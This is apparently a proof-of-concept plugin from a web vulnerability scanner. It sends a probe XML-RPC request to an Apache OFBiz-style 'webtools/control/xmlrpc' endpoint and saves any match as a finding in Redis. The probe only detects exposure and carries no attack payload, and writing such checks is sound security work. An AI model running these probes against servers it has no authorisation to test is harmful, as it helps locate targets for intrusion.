def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return rand_s = get_random_str(5) req = { "method": "POST", "url": self.url + "webtools/control/xmlrpc", "headers": {"Content-Type": "application/xml"}, "data": '''<?xml version="1.0"?><methodCall><methodName>{rand}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>'''.format( rand=rand_s), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and r.status_code == 200 and b"methodResponse" in r.content and ("No such service [{}".format( rand_s)).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def saveResult(self): for result in self.result: if not isinstance(result, dict): logger.warning("Poc (python script) result error,it's a dict .") return result_data = { "name": result.get("name", os.path.splitext(os.path.split(self.poc)[-1])[0]), "url": result.get("url", self.workdata.get("dictdata").get("url").get("url")), "level": result.get("level", "-1"), "createtime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), "detail": { } } if result.get("detail", None) and isinstance(result.get("detail"), dict): result_data["detail"] = result.get("detail") else: result_data["detail"] = {"noshow": "no details"} random_id = get_random_str(9) self.red.set("result_" + random_id, pickle.dumps(result_data)) self.red.lpush("vuln_" + result_data["name"].replace(" ", "_"), "result_" + random_id) self.red.lpush("vuln_all", "result_" + random_id) self.red.lpush("vuln_all_write", "result_" + random_id) # 保存结果 logger.critical(result_data)